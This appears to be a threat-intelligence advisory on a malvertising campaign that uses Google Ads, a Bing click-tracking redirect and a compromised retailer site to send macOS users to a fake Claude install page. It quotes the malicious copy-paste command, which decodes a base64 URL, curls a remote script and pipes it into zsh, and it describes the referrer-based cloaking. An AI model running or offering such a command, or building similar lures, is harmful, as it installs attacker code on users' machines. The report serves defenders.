# Fake Claude Installation Page Delivers Malware via ClickFix/InstallFix "Adception" Malvertising Campaign (macOS)

> A malvertising campaign abuses Google Ads and a Bing click-tracking redirect, plus a compromised South American retailer site, to send macOS users searching for "claude mac" to a fake Claude download page (claude-desk-code[.]com). The page shows the legitimate install command but copies a different command to the clipboard that pipes a remote script from lake-90[.]com into zsh.

- **Published:** 2026-10-13T13:06:45Z
- **Last reviewed:** 2026-10-13T13:06:45Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3410
- **ID:** TL-2026-3410
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 18 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Push Security (published 2026-10-09, author Luke Jennings) detected the campaign in a customer environment and named the redirect technique "Adception"; BleepingComputer reported it the same day and NSFOCUS covered it on 2026-10-13, tracking the toolchain as AcSig. Victims searching Google for "claude mac" are served a sponsored result whose displayed landing domain is bing.com, which passes ad-platform review that validates only the landing domain.

The redirect chain has four hops: google.com/aclk (302) -> bing.com/ck/a (200, JavaScript redirect with the target base64-encoded in the u parameter; the analyzed sample carried a 2026-10-05 timestamp) -> homeopatiaalemana[.]com/quienes-somos/ (302; a compromised legitimate South American homeopathy retailer, described as a WordPress site) -> claude-desk-code[.]com (200; fake Claude download page). Two cloaking layers are used. The compromised site checks server-side for a Bing referrer and specific browser headers before redirecting. The fake site's JavaScript reads document.referrer and sends traffic that did not come from Google or Bing to /404.html. Ad reviewers, scanners and direct visits therefore see benign content, and every hop except the final one is a legitimate domain, which defeats domain-reputation filtering.

The fake page is an InstallFix-style lure: it displays Anthropic's legitimate command (curl -fsSL https://claude.ai/install.sh | bash), but the copy button writes a different command to the clipboard: echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "<base64>" | openssl base64 -d -A) | zsh. The base64 decodes to https://lake-90[.]com/curl/inhgup9a/a90fkbqdg8d0mus64oh8dw.dat, a script that is downloaded silently and piped straight into zsh, running with the victim's user-level permissions. The final payload was not recovered by any source, so malware family, persistence and C2 for this specific macOS chain are unknown. Push Security lists seven further lure domains in the same InstallFix cluster. Push also correlates the wider AI-themed ClickFix/InstallFix/LLMshare activity with Huntress and Island reporting and a shared toolkit. Earlier, separately reported InstallFix campaigns against Claude Code delivered Amatera Stealer (BleepingComputer, 2026-03-06) and a RedLine-linked Windows chain (Trend Micro, 2026-05-05); those are related context and are not confirmed to share infrastructure with this campaign. No CVE, CVSS score or threat actor attribution is stated in any source; severity is analyst-assigned.

## MITRE ATT&CK

- T1583.008 Acquire Infrastructure: Malvertising
- T1584 Compromise Infrastructure
- T1684.001 Impersonation
- T1480 Execution Guardrails
- T1036 Masquerading
- T1027.010 Obfuscated Files or Information: Command Obfuscation
- T1204.001 User Execution: Malicious Link
- T1204.004 User Execution: Malicious Copy and Paste
- T1059.004 Command and Scripting Interpreter: Unix Shell

## Sources

- [AI Security Incident Case: Fake Claude Installation Page Delivered Malware via ClickFix](https://nsfocusglobal.com/ai-security-incident-case-fake-claude-installation-page-delivered-malware-via-clickfix/)
- [Push Security: Analysing a novel malicious redirect and cloaking technique (Adception)](https://pushsecurity.com/blog/adception-malvertising-another-search-engines-search-results)
- [Push Security: Analyzing AI-themed ClickFix, InstallFix & LLMshare attacks](https://pushsecurity.com/blog/analyzing-the-latest-ai-themed-malware-delivery-attacks)
- [BleepingComputer: Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks](https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-bing-redirects-to-push-claude-clickfix-attacks/)
- [BleepingComputer: Fake Claude Code install guides push infostealers in InstallFix attacks](https://www.bleepingcomputer.com/news/security/fake-claude-code-install-guides-push-infostealers-in-installfix-attacks/)
- [Trend Micro: InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise](https://www.trendmicro.com/en_us/research/26/e/installfix-and-claude-code.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3410